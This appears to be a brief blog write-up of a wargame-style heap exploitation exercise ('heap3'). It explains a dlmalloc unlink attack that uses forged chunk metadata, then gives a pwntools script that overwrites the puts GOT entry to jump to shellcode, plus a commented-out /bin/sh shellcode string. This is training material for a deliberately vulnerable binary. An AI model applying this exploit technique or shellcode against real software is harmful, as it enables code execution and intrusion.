Blog
We have to overflow the heap_b and overwrite heap_c chunk metadata
1) set prev_size to -8 (so that prev chunk size field points to heap_b prev size itself)
2) set size to -80 (so that next chunk points to heap_a )
3) now when free(heap_c) is called first it checks whether prev_chunk is free in this case yeah so it tries unlink by making mchunkptr -= prev_size
which actually becomes mchunkptr+8 = fd&bk ptr of heap_c itself ...
from pwn import *
fake_chunk_size = -4
fake_chunk_prev_size = -4
chunk3_size = -80
chunk3_prev_size = -8
winner_addr = 0x8048864
shellcode = asm(shellcraft.i386.push(winner_addr)+shellcraft.i386.ret())
print repr(shellcode)
#shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x87\xe3\xb0\x0b\xcd\x80"
shellcode_addr = 0x804c030
puts_addr = 0x0804b128
saved_eip = 0xffffcd8c
fd = puts_addr-12
bk = shellcode_addr
arg1 = "A"*32
arg2 = "\xeb\x0a"+"\x90"*(32-len(shellcode)-2)+shellcode+pack(chunk3_prev_size)+pack(chunk3_size)
arg3 = pack(fake_chunk_prev_size)+pack(fake_chunk_size)+pack(fd)+pack(bk)
p = process(['./heap3',arg1,arg2,arg3])
print p.recvline()